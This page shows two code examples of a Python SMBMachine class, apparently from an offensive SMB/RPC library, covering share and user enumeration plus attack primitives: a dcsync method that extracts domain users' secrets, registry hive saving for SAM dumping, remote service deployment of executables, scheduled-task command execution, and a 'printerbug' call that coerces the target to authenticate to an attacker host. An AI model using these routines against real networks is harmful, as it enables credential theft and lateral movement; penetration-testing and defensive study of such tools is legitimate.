Ejemplo n.º 1
0
class SMBMachine:
    def __init__(self, connection):
        self.connection = connection
        self.services = []
        self.shares = []
        self.localgroups = []
        self.sessions = []
        self.domains = []

        self.srvs = None
        self.samr = None
        self.lsad = None
        self.rrp = None
        self.rprn = None
        self.tsch = None

        self.filesystem = None
        self.servicemanager = None

        self.privtable = {}
        self.blocking_mgr_tasks = {}

    async def __aenter__(self):
        return self

    async def __aexit__(self, exc_type, exc, traceback):
        await asyncio.wait_for(self.close(), timeout=3)

    async def close(self):
        # TODO: make it prettier!
        if self.srvs is not None:
            await self.srvs.close()
        if self.samr is not None:
            await self.samr.close()
        if self.lsad is not None:
            await self.lsad.close()
        if self.rrp is not None:
            await self.rrp.close()
        if self.rprn is not None:
            await self.rprn.close()
        if self.tsch is not None:
            await self.tsch.close()

    def get_blocking_file(self):
        """
		Starts a file manager task and initializes the io queues
		"""

        in_q = AsyncProcessQueue()
        out_q = AsyncProcessQueue()
        fsm = SMBBlockingFileMgr(self.connection, in_q, out_q)
        fsmt = asyncio.create_task(fsm.run())
        self.blocking_mgr_tasks[fsmt] = 1
        bfile = SMBBlockingFile(in_q, out_q)
        return bfile

    @red
    async def connect_rpc(self, service_name):
        if service_name.upper() == 'SRVS':
            self.srvs = SMBSRVS(self.connection)
            self.privtable['SRVS'] = False
            await rr(self.srvs.connect())
            self.privtable['SRVS'] = True
        elif service_name.upper() == 'SAMR':
            self.samr = SMBSAMR(self.connection)
            self.privtable['SAMR'] = False
            await rr(self.samr.connect())
            self.privtable['SAMR'] = True
        elif service_name.upper() == 'LSAD':
            self.lsad = LSAD(self.connection)
            self.privtable['LSAD'] = False
            await rr(self.lsad.connect())
            self.privtable['LSAD'] = True
        elif service_name.upper() == 'RRP':
            self.rrp = RRP(self.connection)
            self.privtable['RRP'] = False
            await rr(self.rrp.connect())
            self.privtable['RRP'] = True
        elif service_name.upper() == 'RPRN':
            self.rprn = SMBRPRN(self.connection)
            self.privtable['RPRN'] = False
            await rr(self.rprn.connect())
            self.privtable['RPRN'] = True
        elif service_name.upper() == 'TSCH':
            self.tsch = SMBTSCH(self.connection)
            self.privtable['TSCH'] = False
            await rr(self.tsch.connect())
            self.privtable['TSCH'] = True
        else:
            raise Exception('Unknown service name : %s' % service_name)
        return True, None

    @red
    async def connect_servicemanager(self):
        self.servicemanager = SMBRemoteServieManager(self.connection)
        self.privtable['SERVICEMGR'] = False
        await rr(self.servicemanager.connect())
        self.privtable['SERVICEMGR'] = True
        return True, None

    @req_srvs_gen
    async def list_shares(self):
        try:
            async for name, share_type, remark, err in self.srvs.list_shares():
                if err is not None:
                    yield None, err
                    return
                share = SMBShare(
                    name=name,
                    stype=share_type,
                    remark=remark,
                    fullpath='\\\\%s\\%s' %
                    (self.connection.target.get_hostname_or_ip(), name))
                yield share, None
        except Exception as e:
            yield None, e

    @req_srvs_gen
    async def list_sessions(self, level=10):
        async for username, ip_addr, err in self.srvs.list_sessions(
                level=level):
            if err is not None:
                yield None, err
                return
            sess = SMBUserSession(username=username,
                                  ip_addr=ip_addr.replace('\\', '').strip())
            self.sessions.append(sess)
            yield sess, None

    @req_samr_gen
    async def list_domains(self):
        async for domain, err in self.samr.list_domains():
            #self.domains.append(domain)
            yield domain, err

    @req_samr_gen
    async def list_localgroups(self):
        async for name, sid, err in self.list_groups('Builtin'):
            yield name, sid, err

    @req_samr_gen
    async def list_groups(self, domain_name, ret_sid=True):
        """
		Lists all groups in a given domain.
		domain_name: string
		"""
        domain_sid, _ = await rr(self.samr.get_domain_sid(domain_name))
        domain_handle, _ = await rr(self.samr.open_domain(domain_sid))
        #target_group_rids = {}
        async for name, rid, _ in rr_gen(
            self.samr.list_aliases(domain_handle)):
            sid = '%s-%s' % (domain_sid, rid)
            yield name, sid, None

    @req_samr_gen
    @req_lsad_gen
    async def list_group_members(self, domain_name, group_name):
        policy_handle, _ = await rr(self.lsad.open_policy2())
        domain_sid, _ = await rr(self.samr.get_domain_sid(domain_name))
        domain_handle, _ = await rr(self.samr.open_domain(domain_sid))
        target_group_rid = None
        async for name, rid, _ in rr_gen(
                self.samr.list_aliases(domain_handle)):
            if name == group_name:
                target_group_rid = rid
                break

        if target_group_rid is None:
            raise Exception('No group found with name "%s"' % group_name)

        alias_handle, _ = await rr(
            self.samr.open_alias(domain_handle, target_group_rid))
        async for sid, _ in rr_gen(self.samr.list_alias_members(alias_handle)):
            async for domain_name, user_name, _ in rr_gen(
                    self.lsad.lookup_sids(policy_handle, [sid])):
                yield domain_name, user_name, sid, None

    async def list_directory(self, directory):
        _, err = await directory.list(self.connection)
        if err is not None:
            yield False, err
            return

        for entry in directory.get_console_output():
            yield entry

    async def enum_all_recursively(self, depth=3):
        shares = {}
        async for share, err in self.list_shares():
            if err is not None:
                raise err
            if share.name.upper() == 'IPC$':
                continue
            shares[share.name] = share
            yield share.fullpath, 'share', None

        for share_name in shares:
            _, err = await shares[share_name].connect(self.connection)
            if err is not None:
                continue
                raise err

            async for entry in shares[share_name].subdirs[''].list_r(
                    self.connection, depth=depth):
                yield entry

    async def put_file(self, local_path, remote_path):
        """
		remote_path must be a full UNC path with the file name included!

		"""
        try:
            smbfile = SMBFile.from_remotepath(self.connection, remote_path)
            _, err = await smbfile.open(self.connection, 'w')
            if err is not None:
                return False, err

            with open(local_path, 'rb') as f:
                total_writen, err = await smbfile.write_buffer(f)

            await smbfile.close()
            return total_writen, None
        except Exception as e:
            return False, e

    async def get_file(self, out_path, file_obj):
        with open(out_path, 'wb') as f:
            try:
                await file_obj.open(self.connection, 'r')
                while True:
                    data = await file_obj.read(1024)
                    if not data:
                        break
                    f.write(data)
            finally:
                await file_obj.close()

    async def get_file_data(self, file_obj):
        _, err = await file_obj.open(self.connection, 'r')
        if err is not None:
            yield None, err
            return
        async for data, err in file_obj.read_chunked():
            yield data, err

    async def del_file(self, file_path):
        return await SMBFile.delete(self.connection, file_path)

    async def del_directory_path(self, dir_path):
        return await SMBDirectory.delete_unc(self.connection, dir_path)

    async def create_subdirectory(self, directory_name, parent_directory_obj):
        await parent_directory_obj.create_subdir(directory_name,
                                                 self.connection)

    @req_servicemanager_gen
    async def list_services(self):
        async for service, _ in rr_gen(self.servicemanager.list()):
            yield service, None

    @req_servicemanager
    async def enable_service(self, service_name):
        res, exc = await rr(self.servicemanager.enable_service(service_name))
        return res, exc

    #@red_gen
    @req_samr_gen
    async def list_domain_users(self, target_domain=None):
        if target_domain is None:
            logger.debug('No domain defined, fetching it from SAMR')

            logger.debug('Fetching domains...')
            async for domain, _ in rr_gen(self.samr.list_domains()):
                if domain == 'Builtin':
                    continue
                if target_domain is None:  #using th first available
                    target_domain = domain
                    logger.debug('Domain available: %s' % domain)

        domain_sid, _ = await self.samr.get_domain_sid(target_domain)
        domain_handle, _ = await self.samr.open_domain(domain_sid)

        async for username, user_sid, err in self.samr.list_domain_users(
                domain_handle):
            yield username, user_sid, err

    async def dcsync(self, target_domain=None, target_users=[]):
        try:
            if self.samr is None:
                await self.connect_rpc('SAMR')

            if target_domain is None:
                logger.debug('No domain defined, fetching it from SAMR')

                logger.debug('Fetching domains...')
                async for domain, err in self.samr.list_domains():
                    if err is not None:
                        raise err
                    if domain == 'Builtin':
                        continue
                    if target_domain is None:  #using th first available
                        target_domain = domain
                        logger.debug('Domain available: %s' % domain)

            async with SMBDRSUAPI(self.connection, target_domain) as drsuapi:
                try:
                    _, err = await drsuapi.connect()
                    if err is not None:
                        raise err
                    _, err = await drsuapi.open()
                    if err is not None:
                        raise err
                except Exception as e:
                    logger.exception('Failed to connect to DRSUAPI!')
                    raise e

                logger.debug('Using domain: %s' % target_domain)
                if len(target_users) > 0:
                    for username in target_users:
                        secrets, err = await drsuapi.get_user_secrets(username)
                        yield secrets, err

                else:

                    domain_sid, _ = await self.samr.get_domain_sid(
                        target_domain)
                    domain_handle, _ = await self.samr.open_domain(domain_sid)
                    async for username, user_sid, err in self.samr.list_domain_users(
                            domain_handle):
                        if err is not None:
                            yield None, err
                            return
                        logger.debug('username: %s' % username)
                        secrets, err = await drsuapi.get_user_secrets(username)
                        if err is not None:
                            yield None, err
                            return
                        logger.debug('secrets: %s' % secrets)
                        yield secrets, None

        except Exception as e:
            yield None, e
            return

    @req_rrp
    async def get_regapi(self):
        return self.rrp, None

    @req_rrp
    async def save_registry_hive(self, hive_name, remote_path):
        key_handle, err = await self.rrp.OpenRegPath(hive_name)
        if err is not None:
            return None, err
        res, err = await self.rrp.SaveKey(key_handle, remote_path)
        return res, err

    @req_servicemanager
    async def create_service(self, service_name, command, display_name=None):
        """
		Creates a service and starts it.
		Does not create files! there is a separate command for that!
		"""
        if display_name is None:
            display_name = service_name
        res, err = await self.servicemanager.create_service(
            service_name, display_name, command)
        return res, err

    @req_servicemanager
    async def start_service(self, service_name):
        """
		Creates a service and starts it.
		Does not create files! there is a separate command for that!
		"""
        return await self.servicemanager.start_service(service_name)

    @req_servicemanager
    async def stop_service(self, service_name):
        """
		Creates a service and starts it.
		Does not create files! there is a separate command for that!
		"""
        return await self.servicemanager.stop_service(service_name)

    @req_servicemanager
    async def deploy_service(self,
                             path_to_executable,
                             remote_path=None,
                             service_name=None):
        """

		remote path must be UNC
		"""
        if service_name is None:
            service_name = os.urandom(4).hex()
        if remote_path is None:
            raise NotImplementedError()

        filename = ntpath.basename(path_to_executable)
        remote_file_path = remote_path + filename
        remote_file = SMBFile.from_uncpath(remote_file_path)
        await self.put_file(path_to_executable, remote_file)

        command = remote_file_path

        await self.create_service(service_name, command)

        return True, None

    @req_tsch
    async def tasks_list(self):
        """
		Lists scheduled tasks
		"""
        return self.tsch.list_tasks()

    @req_tsch
    async def tasks_register(self,
                             template,
                             task_name=None,
                             flags=tsch.TASK_CREATE,
                             sddl=None,
                             logon_type=tsch.TASK_LOGON_NONE):
        """
		Registers a new task
		"""
        return await self.tsch.register_task(template,
                                             task_name=task_name,
                                             flags=flags,
                                             sddl=sddl,
                                             logon_type=logon_type)

    @req_tsch
    async def tasks_execute_commands(self, commands):
        return await self.tsch.run_commands(commands)

    @req_tsch
    async def tasks_delete(self, task_name):
        return await self.tsch.delete_task(task_name)

    @req_rprn
    async def printerbug(self, attacker_host):
        """
		Creates a service and starts it.
		Does not create files! there is a separate command for that!
		"""
        print('opening printer')
        handle, _ = await rr(
            self.rprn.open_printer(
                '\\\\%s\x00' % self.connection.target.get_hostname_or_ip()))
        print('got handle %s' % handle)
        resp, _ = await rr(
            self.rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
                handle,
                PRINTER_CHANGE_ADD_JOB,
                pszLocalMachine='\\\\%s\x00' % attacker_host,
            ))
        print('got resp! %s' % resp)

    async def list_interfaces(self):
        try:
            interfaces = []
            ipc_file = SMBFile.from_uncpath(
                '\\\\%s\\IPC$' % self.connection.target.get_hostname_or_ip())
            await ipc_file.open(self.connection, 'r')
            ifaces_raw, err = await self.connection.ioctl(
                ipc_file.tree_id,
                b'\xFF' * 16,
                CtlCode.FSCTL_QUERY_NETWORK_INTERFACE_INFO,
                data=None,
                flags=IOCTLREQFlags.IS_FSCTL)
            if err is not None:
                raise err

            for iface_raw in ifaces_raw:
                t = {
                    'index': iface_raw.IfIndex,
                    'cap': iface_raw.Capability,
                    'speed': iface_raw.LinkSpeed,
                    'address': str(iface_raw.SockAddr_Storage.Addr),
                }
                interfaces.append(t)

            return interfaces, None

        except Exception as e:
            return None, e

        finally:
            await ipc_file.close()

    @req_servicemanager
    async def check_service_status(self, service_name):
        return await self.servicemanager.check_service_status(service_name)

    async def list_mountpoints(self):
        pass
Ejemplo n.º 2
0
class SMBMachine:
	def __init__(self, connection):
		self.connection = connection
		self.services = []
		self.shares = []
		self.localgroups = []
		self.sessions = []
		self.domains = []

		self.srvs = None
		self.samr = None
		self.lsad = None
		self.rrp = None

		self.filesystem = None
		self.servicemanager = None

		self.privtable = {}
		self.blocking_mgr_tasks = {}

	def get_blocking_file(self):
		"""
		Starts a file manager task and initializes the io queues
		"""

		in_q = AsyncProcessQueue()
		out_q = AsyncProcessQueue()
		fsm = SMBBlockingFileMgr(self.connection, in_q, out_q)
		fsmt = asyncio.create_task(fsm.run())
		self.blocking_mgr_tasks[fsmt] = 1
		bfile = SMBBlockingFile(in_q, out_q)
		return bfile

	@red
	async def connect_rpc(self, service_name):
		if service_name.upper() == 'SRVS':
			self.srvs = SMBSRVS(self.connection)
			self.privtable['SRVS'] = False
			await rr(self.srvs.connect())
			self.privtable['SRVS'] = True
		elif service_name.upper() == 'SAMR':
			self.samr = SMBSAMR(self.connection)
			self.privtable['SAMR'] = False
			await rr(self.samr.connect())
			self.privtable['SAMR'] = True
		elif service_name.upper() == 'LSAD':
			self.lsad = LSAD(self.connection)
			self.privtable['LSAD'] = False
			await rr(self.lsad.connect())
			self.privtable['LSAD'] = True
		elif service_name.upper() == 'RRP':
			self.rrp = RRP(self.connection)
			self.privtable['RRP'] = False
			await rr(self.rrp.connect())
			self.privtable['RRP'] = True
		else:
			raise Exception('Unknown service name : %s' % service_name)
		return True, None
	
	@red
	async def connect_servicemanager(self):
		self.servicemanager = SMBRemoteServieManager(self.connection)
		self.privtable['SERVICEMGR'] = False
		await rr(self.servicemanager.connect())
		self.privtable['SERVICEMGR'] = True
		return True, None

	@req_srvs_gen
	async def list_shares(self):
		async for name, share_type, remark, _ in rr_gen(self.srvs.list_shares()):
			share = SMBShare(
				name = name, 
				stype = share_type, 
				remark = remark, 
				fullpath = '\\\\%s\\%s' % (self.connection.target.get_hostname_or_ip(), name)
			)
			#self.shares.append(share)
			yield share, None

	@req_srvs_gen
	async def list_sessions(self, level = 1):
		async for username, ip_addr, _ in rr_gen(self.srvs.list_sessions(level = level)):
			sess = SMBUserSession(username = username, ip_addr = ip_addr.replace('\\','').strip())
			self.sessions.append(sess)
			yield sess, None

	@req_samr_gen
	async def list_domains(self):
		async for domain, _ in rr_gen(self.samr.list_domains()):
			#self.domains.append(domain)
			yield domain, None
	
	@req_samr_gen
	async def list_localgroups(self):
		async for name, sid, _ in rr_gen(self.list_groups('Builtin')):
			yield name, sid, None

	@req_samr_gen
	async def list_groups(self, domain_name, ret_sid = True):
		"""
		Lists all groups in a given domain.
		domain_name: string
		"""
		domain_sid, _ = await rr(self.samr.get_domain_sid(domain_name))
		domain_handle, _ = await rr(self.samr.open_domain(domain_sid))
		#target_group_rids = {}
		async for name, rid, _ in rr_gen(self.samr.list_aliases(domain_handle)):
			sid = '%s-%s' % (domain_sid, rid)
			yield name, sid, None

	@req_samr_gen
	@req_lsad_gen
	async def list_group_members(self, domain_name, group_name):
		policy_handle, _ = await rr(self.lsad.open_policy2())
		domain_sid, _ = await rr(self.samr.get_domain_sid(domain_name))
		domain_handle, _ = await rr(self.samr.open_domain(domain_sid))
		target_group_rid = None
		async for name, rid, _ in rr_gen(self.samr.list_aliases(domain_handle)):
			if name == group_name:
				target_group_rid = rid
				break

		if target_group_rid is None:
			raise Exception('No group found with name "%s"' % group_name)
		
		alias_handle, _ = await rr(self.samr.open_alias(domain_handle, target_group_rid))
		async for sid, _ in rr_gen(self.samr.list_alias_members(alias_handle)):
			async for domain_name, user_name, _ in rr_gen(self.lsad.lookup_sids(policy_handle, [sid])):
				yield domain_name, user_name, sid, None


	async def list_directory(self, directory):
		await directory.list(self.connection)
		for entry in directory.get_console_output():
			yield entry

	async def put_file(self, local_path, remote_path):
		"""
		remote_path must be a full UNC path with the file name included!

		"""
		smbfile = SMBFile.from_remotepath(self.connection, remote_path)
		await smbfile.open(self.connection, 'w')
		with open(local_path, 'rb') as f:
			await smbfile.write_buffer(f)
		await smbfile.close()
		return True

	async def get_file(self, out_path, file_obj):
		with open(out_path, 'wb') as f:
			try:
				await file_obj.open(self.connection, 'r')
				while True:
					data = await file_obj.read(1024)
					if not data:
						break
					f.write(data)
			finally:
				await file_obj.close()

	async def get_file_data(self, file_obj):
		await file_obj.open(self.connection, 'r')
		async for data in file_obj.read_chunked():
			yield data

	async def del_file(self, file_path):
		await SMBFile.delete(self.connection, file_path)

	async def create_subdirectory(self, directory_name, parent_directory_obj):
		await parent_directory_obj.create_subdir(directory_name, self.connection)
		

	@req_servicemanager_gen
	async def list_services(self):
		async for service, _ in rr_gen(self.servicemanager.list()):
			yield service, None

	@req_servicemanager
	async def enable_service(self, service_name):
		res, exc = await rr(self.servicemanager.enable_service(service_name))
		return res, exc

	#@red_gen
	@req_samr_gen
	async def list_domain_users(self, target_domain = None):
		if target_domain is None:
			logger.debug('No domain defined, fetching it from SAMR')
					
							
			logger.debug('Fetching domains...')
			async for domain, _ in rr_gen(self.samr.list_domains()):
				if domain == 'Builtin':
					continue
				if target_domain is None: #using th first available
					target_domain = domain
					logger.debug('Domain available: %s' % domain)

		domain_sid, _ = await self.samr.get_domain_sid(target_domain)
		domain_handle, _ = await self.samr.open_domain(domain_sid)
		
		async for username, user_sid, err in self.samr.list_domain_users(domain_handle):
			yield username, user_sid, err

	#@red_gen
	@req_samr_gen
	async def dcsync(self, target_domain = None, target_users = []):
		if target_domain is None:
			logger.debug('No domain defined, fetching it from SAMR')
					
							
			logger.debug('Fetching domains...')
			async for domain, _ in rr_gen(self.samr.list_domains()):
				if domain == 'Builtin':
					continue
				if target_domain is None: #using th first available
					target_domain = domain
					logger.debug('Domain available: %s' % domain)
		
		async with SMBDRSUAPI(self.connection, target_domain) as drsuapi:
			try:
				await rr(drsuapi.connect())
				await rr(drsuapi.open())
			except Exception as e:
				logger.exception('Failed to connect to DRSUAPI!')
				raise e

			logger.debug('Using domain: %s' % target_domain)
			if len(target_users) > 0:
				for username in target_users:
					secrets, _ = await drsuapi.get_user_secrets(username)
					yield secrets
							
			else:
				
				domain_sid, _ = await self.samr.get_domain_sid(target_domain)
				domain_handle, _ = await self.samr.open_domain(domain_sid)
				async for username, user_sid, err in self.samr.list_domain_users(domain_handle):
					if err is not None:
						yield None, err
					logger.debug('username: %s' % username)
					secrets, _ = await rr(drsuapi.get_user_secrets(username))
					logger.debug('secrets: %s' % secrets)
					yield secrets, None

	
	@req_rrp
	async def save_registry_hive(self, hive_name, remote_path):
		#SAM C:\aaaa\sam.reg
		res, _ = await rr(self.rrp.save_hive(hive_name, remote_path))
		return True, None

	@req_servicemanager
	async def create_service(self, service_name, command, display_name = None):
		"""
		Creates a service and starts it.
		Does not create files! there is a separate command for that!
		"""
		if display_name is None:
			display_name = service_name
		res, _ = await rr(self.servicemanager.create_service(service_name, display_name, command))
		return True, None


	@req_servicemanager
	async def deploy_service(self, path_to_executable, remote_path = None, service_name = None):
		"""

		remote path must be UNC
		"""
		if service_name is None:
			service_name = os.urandom(4).hex()
		if remote_path is None:
			raise NotImplementedError()

		filename = ntpath.basename(path_to_executable)
		remote_file_path = remote_path + filename
		remote_file = SMBFile.from_uncpath(remote_file_path)
		await self.put_file(path_to_executable, remote_file)
		
		command = remote_file_path

		await self.create_service(service_name, command)

		return True, None
	

	async def stop_service(self):
		pass
	
	async def list_mountpoints(self):
		pass